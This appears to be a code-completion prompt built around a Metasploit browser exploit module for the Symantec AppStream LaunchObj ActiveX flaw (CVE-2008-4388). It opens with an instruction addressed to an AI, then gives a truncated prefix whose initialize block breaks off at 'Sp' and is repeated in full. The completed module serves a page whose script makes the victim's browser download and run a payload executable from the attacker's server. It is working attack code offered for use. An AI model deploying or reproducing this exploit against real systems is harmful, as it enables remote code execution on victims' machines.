You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: symantec_appstream_unsafe.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/browser
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute',
      'Description'    => %q{
          This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability
        is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"
        method. The insecure method can be exploited to download and execute arbitrary files in the
        context of the currently logged-on user.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2008-4388' ],
          [ 'OSVDB', '51410' ],
        ],
      'Payload'        =>
        {
          'Sp
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute',
      'Description'    => %q{
          This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability
        is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"
        method. The insecure method can be exploited to download and execute arbitrary files in the
        context of the currently logged-on user.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2008-4388' ],
          [ 'OSVDB', '51410' ],
        ],
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => '2009-01-15',
      'DefaultTarget'  => 0))

  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    payload_url =  "http://"
    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"

    if (request.uri.match(/payload/))
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_exe({ :code => p.encoded })
      print_status("Sending payload EXE")
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    vname  = rand_text_alpha(rand(100) + 1)
    exe    = rand_text_alpha(rand(5) + 1 )

    content = %Q|
    <html>
      <object id='#{vname}' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>
      <script language="javascript">
        #{vname}.installAppMgr("#{payload_url}/#{exe}.exe");
      </script>
    </html>
        |

    print_status("Sending #{self.name}")

    send_response_html(cli, content)

    handler(cli)

  end